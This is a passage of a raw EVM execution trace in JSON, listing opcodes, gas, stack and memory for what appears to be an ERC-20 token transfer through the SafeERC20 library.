000000000000000000044","a9059cbb00000000000000000000000087132c7dbd0d6d6a73c9df24382f546c","2e6fa21a000000000000000000000000000000000000000000000000000136db","f40ac09b00000000000000000000000000000000000000000000000000000000","000000205361666545524332303a206c6f772d6c6576656c2063616c6c206661","696c656400000000000000000000000000000000000000000000000000000000"]},{"pc":7693,"op":"JUMPDEST","gas":62484,"gasCost":1,"depth":2,"stack":["0x6d9a640a","0x274","0x136dbf40ac09b","0x0","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0xc50dfd48a20630e6","0x2bda54fce7dbfc916a32","0x0","0x0","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x4c711efa05b78582f07d9d960b1dadde95688166","0xa28","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0x136dbf40ac09b","0x1a3a","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x80","0x0","0x1be2","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x80","0xe4","0x60","0x1c81","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x80","0x0","0xe4","0x60","0x0","0x0","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x0","0x1d74","0x80","0x124","0x0","0x44","0x20a1","0x44","0x124","0xa0","0x0"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000124","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000044","a9059cbb00000000000000000000000087132c7dbd0d6d6a73c9df24382f546c","2e6fa21a000000000000000000000000000000000000000000000000000136db","f40ac09b00000000000000000000000000000000000000000000000000000000","000000205361666545524332303a206c6f772d6c6576656c2063616c6c206661","696c656400000000000000000000000000000000000000000000000000000000"]},{"pc":7694,"op":"DUP4","gas":62483,"gasCost":3,"depth":2,"stack":["0x6d9a640a","0x274","0x136dbf40ac09b","0x0","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0xc50dfd48a20630e6","0x2bda54fce7dbfc916a32","0x0","0x0","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x4c711efa05b78582f07d9d960b1dadde95688166","0xa28","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0x136dbf40ac09b","0x1a3a","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x80","0x0","0x1be2","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x80","0xe4","0x60","0x1c81","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x80","0x0","0xe4","0x60","0x0","0x0","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x0","0x1d74","0x80","0x124","0x0","0x44","0x20a1","0x44","0x124","0xa0","0x0"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000124","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000044","a9059cbb00000000000000000000000087132c7dbd0d6d6a73c9df24382f546c","2e6fa21a000000000000000000000000000000000000000000000000000136db","f40ac09b00000000000000000000000000000000000000000000000000000000","000000205361666545524332303a206c6f772d6c6576656c2063616c6c206661","696c656400000000000000000000000000000000000000000000000000000000"]},{"pc":7695,"op":"DUP2","gas":62480,"gasCost":3,"depth":2,"stack":["0x6d9a640a","0x274","0x136dbf40ac09b","0x0","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0xc50dfd48a20630e6","0x2bda54fce7dbfc916a32","0x0","0x0","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x4c711efa05b78582f07d9d960b1dadde95688166","0xa28","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0x136dbf40ac09b","0x1a3a","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x80","0x0","0x1be2","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x80","0xe4","0x60","0x1c81","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x80","0x0","0xe4","0x60","0x0","0x0","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x0","0x1d74","0x80","0x124","0x0","0x44","0x20a1","0x44","0x124","0xa0","0x0","0x44"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000124","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000044","a9059cbb00000000000000000000000087132c7dbd0d6d6a73c9df24382f546c","2e6fa21a000000000000000000000000000000000000000000000000000136db","f40ac09b00000000000000000000000000000000000000000000000000000000","000000205361666545524332303a206c6f772d6c6576656c2063616c6c206661","696c656400000000000000000000000000000000000000000000000000000000"]},{"pc":7696,"op":"LT","gas":62477,"gasCost":3,"depth":2,"stack":["0x6d9a640a","0x274","0x136dbf40ac09b","0x0","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0xc50dfd48a20630e6","0x2bda54fce7dbfc916a32","0x0","0x0","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x4c711efa05b78582f07d9d960b1dadde95688166","0xa28","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0x136dbf40ac09b","0x1a3a","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x80","0x0","0x1be2","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x80","0xe4","0x60","0x1c81","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x80","0x0","0xe4","0x60","0x0","0x0","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x0","0x1d74","0x80","0x124","0x0","0x44","0x20a1","0x44","0x124","0xa0","0x0","0x44","0x0"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000124","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000044","a9059cbb00000000000000000000000087132c7dbd0d6d6a73c9df24382f546c","2e6fa21a000000000000000000000000000000000000000000000000000136db","f40ac09b00000000000000000000000000000000000000000000000000000000","000000205361666545524332303a206c6f772d6c6576656c2063616c6c206661","696c656400000000000000000000000000000000000000000000000000000000"]},{"pc":7697,"op":"ISZERO","gas":62474,"gasCost":3,"depth":2,"stack":["0x6d9a640a","0x274","0x136dbf40ac09b","0x0","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0xc50dfd48a20630e6","0x2bda54fce7dbfc916a32","0x0","0x0","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x4c711efa05b78582f07d9d960b1dadde95688166","0xa28","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0x136dbf40ac09b","0x1a3a","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x80","0x0","0x1be2","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x80","0xe4","0x60","0x1c81","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x80","0x0","0xe4","0x60","0x0","0x0","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x0","0x1d74","0x80","0x124","0x0","0x44","0x20a1","0x44","0x124","0xa0","0x0","0x1"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000124","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000044","a9059cbb00000000000000000000000087132c7dbd0d6d6a73c9df24382f546c","2e6fa21a000000000000000000000000000000000000000000000000000136db","f40ac09b00000000000000000000000000000000000000000000000000000000","000000205361666545524332303a206c6f772d6c6576656c2063616c6c206661","696c656400000000000000000000000000000000000000000000000000000000"]},{"pc":7698,"op":"PUSH2","gas":62471,"gasCost":3,"depth":2,"stack":["0x6d9a640a","0x274","0x136dbf40ac09b","0x0","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0xc50dfd48a20630e6","0x2bda54fce7dbfc916a32","0x0","0x0","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x4c711efa05b78582f07d9d960b1dadde95688166","0xa28","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0x136dbf40ac09b","0x1a3a","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x80","0x0","0x1be2","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x80","0xe4","0x60","0x1c81","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x80","0x0","0xe4","0x60","0x0","0x0","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x0","0x1d74","0x80","0x124","0x0","0x44","0x20a1","0x44","0x124","0xa0","0x0","0x0"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000124","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000044","a9059cbb00000000000000000000000087132c7dbd0d6d6a73c9df24382f546c","2e6fa21a000000000000000000000000000000000000000000000000000136db","f40ac09b00000000000000000000000000000000000000000000000000000000","000000205361666545524332303a206c6f772d6c6576656c2063616c6c206661","696c656400000000000000000000000000000000000000000000000000000000"]},{"pc":7701,"op":"JUMPI","gas":62468,"gasCost":10,"depth":2,"stack":["0x6d9a640a","0x274","0x136dbf40ac09b","0x0","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0xc50dfd48a20630e6","0x2bda54fce7dbfc916a32","0x0","0x0","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x4c711efa05b78582f07d9d960b1dadde95688166","0xa28","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0x136dbf40ac09b","0x1a3a","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x80","0x0","0x1be2","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x80","0xe4","0x60","0x1c81","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x80","0x0","0xe4","0x60","0x0","0x0","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x0","0x1d74","0x80","0x124","0x0","0x44","0x20a1","0x44","0x124","0xa0","0x0","0x0","0x1e25"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000124","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000044","a9059cbb00000000000000000000000087132c7dbd0d6d6a73c9df24382f546c","2e6fa21a000000000000000000000000000000000000000000000000000136db","f40ac09b00000000000000000000000000000000000000000000000000000000","000000205361666545524332303a206c6f772d6c6576656c2063616c6c206661","696c656400000000000000000000000000000000000000000000000000000000"]},{"pc":7702,"op":"DUP2","gas":62458,"gasCost":3,"depth":2,"stack":["0x6d9a640a","0x274","0x136dbf40ac09b","0x0","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0xc50dfd48a20630e6","0x2bda54fce7dbfc916a32","0x0","0x0","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x4c711efa05b78582f07d9d960b1dadde95688166","0xa28","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0x136dbf40ac09b","0x1a3a","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x80","0x0","0x1be2","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x80","0xe4","0x60","0x1c81","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x80","0x0","0xe4","0x60","0x0","0x0","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x0","0x1d74","0x80","0x124","0x0","0x44","0x20a1","0x44","0x124","0xa0","0x0"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000124","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000044","a9059cbb00000000000000000000000087132c7dbd0d6d6a73c9df24382f546c","2e6fa21a000000000000000000000000000000000000000000000000000136db","f40ac09b00000000000000000000000000000000000000000000000000000000","000000205361666545524332303a206c6f772d6c6576656c2063616c6c206661","696c656400000000000000000000000000000000000000000000000000000000"]},{"pc":7703,"op":"DUP2","gas":62455,"gasCost":3,"depth":2,"stack":["0x6d9a640a","0x274","0x136dbf40ac09b","0x0","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0xc50dfd48a20630e6","0x2bda54fce7dbfc916a32","0x0","0x0","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x4c711efa05b78582f07d9d960b1dadde95688166","0xa28","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0x136dbf40ac09b","0x1a3a","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x80","0x0","0x1be2","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x80","0xe4","0x60","0x1c81","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x80","0x0","0xe4","0x60","0x0","0x0","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x0","0x1d74","0x80","0x124","0x0","0x44","0x20a1","0x44","0x124","0xa0","0x0","0xa0"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000124","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000044","a9059cbb00000000000000000000000087132c7dbd0d6d6a73c9df24382f546c","2e6fa21a000000000000000000000000000000000000000000000000000136db","f40ac09b00000000000000000000000000000000000000000000000000000000","000000205361666545524332303a206c6f772d6c6576656c2063616c6c206661","696c656400000000000000000000000000000000000000000000000000000000"]},{"pc":7704,"op":"ADD","gas":62452,"gasCost":3,"depth":2,"stack":["0x6d9a640a","0x274","0x136dbf40ac09b","0x0","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0xc50dfd48a20630e6","0x2bda54fce7dbfc916a32","0x0","0x0","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x4c711efa05b78582f07d9d960b1dadde95688166","0xa28","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0x136dbf40ac09b","0x1a3a","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x80","0x0","0x1be2","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x80","0xe4","0x60","0x1c81","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x80","0x0","0xe4","0x60","0x0","0x0","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x0","0x1d74","0x80","0x124","0x0","0x44","0x20a1","0x44","0x124","0xa0","0x0","0xa0","0x0"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000124","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000044","a9059cbb00000000000000000000000087132c7dbd0d6d6a73c9df24382f546c","2e6fa21a000000000000000000000000000000000000000000000000000136db","f40ac09b00000000000000000000000000000000000000000000000000000000","000000205361666545524332303a206c6f772d6c6576656c2063616c6c206661","696c656400000000000000000000000000000000000000000000000000000000"]},{"pc":7705,"op":"MLOAD","gas":62449,"gasCost":3,"depth":2,"stack":["0x6d9a640a","0x274","0x136dbf40ac09b","0x0","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0xc50dfd48a20630e6","0x2bda54fce7dbfc916a32","0x0","0x0","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x4c711efa05b78582f07d9d960b1dadde95688166","0xa28","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0x136dbf40ac09b","0x1a3a","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x80","0x0","0x1be2","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x80","0xe4","0x60","0x1c81","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x80","0x0","0xe4","0x60","0x0","0x0","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x0","0x1d74","0x80","0x124","0x0","0x44","0x20a1","0x44","0x124","0xa0","0x0","0xa0"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000124","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000044","a9059cbb00000000000000000000000087132c7dbd0d6d6a73c9df24382f546c","2e6fa21a000000000000000000000000000000000000000000000000000136db","f40ac09b00000000000000000000000000000000000000000000000000000000","000000205361666545524332303a206c6f772d6c6576656c2063616c6c206661","696c656400000000000000000000000000000000000000000000000000000000"]},{"pc":7706,"op":"DUP4","gas":62446,"gasCost":3,"depth":2,"stack":["0x6d9a640a","0x274","0x136dbf40ac09b","0x0","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0xc50dfd48a20630e6","0x2bda54fce7dbfc916a32","0x0","0x0","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x4c711efa05b78582f07d9d960b1dadde95688166","0xa28","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0x136dbf40ac09b","0x1a3a","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x80","0x0","0x1be2","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x80","0xe4","0x60","0x1c81","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x80","0x0","0xe4","0x60","0x0","0x0","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x0","0x1d74","0x80","0x124","0x0","0x44","0x20a1","0x44","0x124","0xa0","0x0","0xa9059cbb00000000000000000000000087132c7dbd0d6d6a73c9df24382f546c"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000124","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000044","a9059cbb00000000000000000000000087132c7dbd0d6d6a73c9df24382f546c","2e6fa21a000000000000000000000000000000000000000000000000000136db","f40ac09b00000000000000000000000000000000000000000000000000000000","000000205361666545524332303a206c6f772d6c6576656c2063616c6c206661","696c656400000000000000000000000000000000000000000000000000000000"]},{"pc":7707,"op":"DUP3","gas":62443,"gasCost":3,"depth":2,"stack":["0x6d9a640a","0x274","0x136dbf40ac09b","0x0","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0xc50dfd48a20630e6","0x2bda54fce7dbfc916a32","0x0","0x0","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x4c711efa05b78582f07d9d960b1dadde95688166","0xa28","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0x136dbf40ac09b","0x1a3a","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x80","0x0","0x1be2","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x80","0xe4","0x60","0x1c81","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x80","0x0","0xe4","0x60","0x0","0x0","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x0","0x1d74","0x80","0x124","0x0","0x44","0x20a1","0x44","0x124","0xa0","0x0","0xa9059cbb00000000000000000000000087132c7dbd0d6d6a73c9df24382f546c","0x124"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000124","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000044","a9059cbb00000000000000000000000087132c7dbd0d6d6a73c9df24382f546c","2e6fa21a000000000000000000000000000000000000000000000000000136db","f40ac09b00000000000000000000000000000000000000000000000000000000","000000205361666545524332303a206c6f772d6c6576656c2063616c6c206661","696c656400000000000000000000000000000000000000000000000000000000"]},{"pc":7708,"op":"ADD","gas":62440,"gasCost":3,"depth":2,"stack":["0x6d9a640a","0x274","0x136dbf40ac09b","0x0","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0xc50dfd48a20630e6","0x2bda54fce7dbfc916a32","0x0","0x0","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x4c711efa05b78582f07d9d960b1dadde95688166","0xa28","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0x136dbf40ac09b","0x1a3a","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x80","0x0","0x1be2","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x80","0xe4","0x60","0x1c81","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x80","0x0","0xe4","0x60","0x0","0x0","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x0","0x1d74","0x80","0x124","0x0","0x44","0x20a1","0x44","0x124","0xa0","0x0","0xa9059cbb00000000000000000000000087132c7dbd0d6d6a73c9df24382f546c","0x124","0x0"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000124","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000044","a9059cbb00000000000000000000000087132c7dbd0d6d6a73c9df24382f546c","2e6fa21a000000000000000000000000000000000000000000000000000136db","f40ac09b00000000000000000000000000000000000000000000000000000000","000000205361666545524332303a206c6f772d6c6576656c2063616c6c206661","696c656400000000000000000000000000000000000000000000000000000000"]},{"pc":7709,"op":"MSTORE","gas":62437,"gasCost":6,"depth":2,"stack":["0x6d9a640a","0x274","0x136dbf40ac09b","0x0","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0xc50dfd48a20630e6","0x2bda54fce7dbfc916a32","0x0","0x0","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x4c711efa05b78582f07d9d960b1dadde95688166","0xa28","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0x136dbf40ac09b","0x1a3a","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x80","0x0","0x1be2","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x80","0xe4","0x60","0x1c81","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x80","0x0","0xe4","0x60","0x0","0x0","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x0","0x1d74","0x80","0x124","0x0","0x44","0x20a1","0x44","0x124","0xa0","0x0","0xa9059cbb00000000000000000000000087132c7dbd0d6d6a73c9df24382f546c","0x124"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000124","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000044","a9059cbb00000000000000000000000087132c7dbd0d6d6a73c9df24382f546c","2e6fa21a000000000000000000000000000000000000000000000000000136db","f40ac09b00000000000000000000000000000000000000000000000000000000","000000205361666545524332303a206c6f772d6c6576656c2063616c6c206661","696c656400000000000000000000000000000000000000000000000000000000"]},{"pc":7710,"op":"PUSH1","gas":62431,"gasCost":3,"depth":2,"stack":["0x6d9a640a","0x274","0x136dbf40ac09b","0x0","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0xc50dfd48a20630e6","0x2bda54fce7dbfc916a32","0x0","0x0","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x4c711efa05b78582f07d9d960b1dadde95688166","0xa28","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0x136dbf40ac09b","0x1a3a","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x80","0x0","0x1be2","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x80","0xe4","0x60","0x1c81","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x80","0x0","0xe4","0x60","0x0","0x0","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x0","0x1d74","0x80","0x124","0x0","0x44","0x20a1","0x44","0x124","0xa0","0x0"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000124","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000044","a9059cbb00000000000000000000000087132c7dbd0d6d6a73c9df24382f546c","2e6fa21a000000000000000000000000000000000000000000000000000136db","f40ac09b00000000000000000000000000000000000000000000000000000000","000000205361666545524332303a206c6f772d6c6576656c2063616c6c206661","696c6564a9059cbb00000000000000000000000087132c7dbd0d6d6a73c9df24","382f546c00000000000000000000000000000000000000000000000000000000"]},{"pc":7712,"op":"ADD","gas":62428,"gasCost":3,"depth":2,"stack":["0x6d9a640a","0x274","0x136dbf40ac09b","0x0","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0xc50dfd48a20630e6","0x2bda54fce7dbfc916a32","0x0","0x0","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x4c711efa05b78582f07d9d960b1dadde95688166","0xa28","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0x136dbf40ac09b","0x1a3a","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x80","0x0","0x1be2","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x80","0xe4","0x60","0x1c81","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x80","0x0","0xe4","0x60","0x0","0x0","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x0","0x1d74","0x80","0x124","0x0","0x44","0x20a1","0x44","0x124","0xa0","0x0","0x20"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000124","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000044","a9059cbb00000000000000000000000087132c7dbd0d6d6a73c9df24382f546c","2e6fa21a000000000000000000000000000000000000000000000000000136db","f40ac09b00000000000000000000000000000000000000000000000000000000","000000205361666545524332303a206c6f772d6c6576656c2063616c6c206661","696c6564a9059cbb00000000000000000000000087132c7dbd0d6d6a73c9df24","382f546c00000000000000000000000000000000000000000000000000000000"]},{"pc":7713,"op":"PUSH2","gas":62425,"gasCost":3,"depth":2,"stack":["0x6d9a640a","0x274","0x136dbf40ac09b","0x0","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0xc50dfd48a20630e6","0x2bda54fce7dbfc916a32","0x0","0x0","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x4c711efa05b78582f07d9d960b1dadde95688166","0xa28","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0x136dbf40ac09b","0x1a3a","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x80","0x0","0x1be2","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x80","0xe4","0x60","0x1c81","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x80","0x0","0xe4","0x60","0x0","0x0","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x0","0x1d74","0x80","0x124","0x0","0x44","0x20a1","0x44","0x124","0xa0","0x20"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000124","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000044","a9059cbb00000000000000000000000087132c7dbd0d6d6a73c9df24382f546c","2e6fa21a000000000000000000000000000000000000000000000000000136db","f40ac09b00000000000000000000000000000000000000000000000000000000","000000205361666545524332303a206c6f772d6c6576656c2063616c6c206661","696c6564a9059cbb00000000000000000000000087132c7dbd0d6d6a73c9df24","382f546c00000000000000000000000000000000000000000000000000000000"]},{"pc":7716,"op":"JUMP","gas":62422,"gasCost":8,"depth":2,"stack":["0x6d9a640a","0x274","0x136dbf40ac09b","0x0","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0xc50dfd48a20630e6","0x2bda54fce7dbfc916a32","0x0","0x0","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x4c711efa05b78582f07d9d960b1dadde95688166","0xa28","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0x136dbf40ac09b","0x1a3a","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x80","0x0","0x1be2","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x80","0xe4","0x60","0x1c81","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x80","0x0","0xe4","0x60","0x0","0x0","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x0","0x1d74","0x80","0x124","0x0","0x44","0x20a1","0x44","0x124","0xa0","0x20","0x1e0d"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000124","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000044","a9059cbb00000000000000000000000087132c7dbd0d6d6a73c9df24382f546c","2e6fa21a000000000000000000000000000000000000000000000000000136db","f40ac09b00000000000000000000000000000000000000000000000000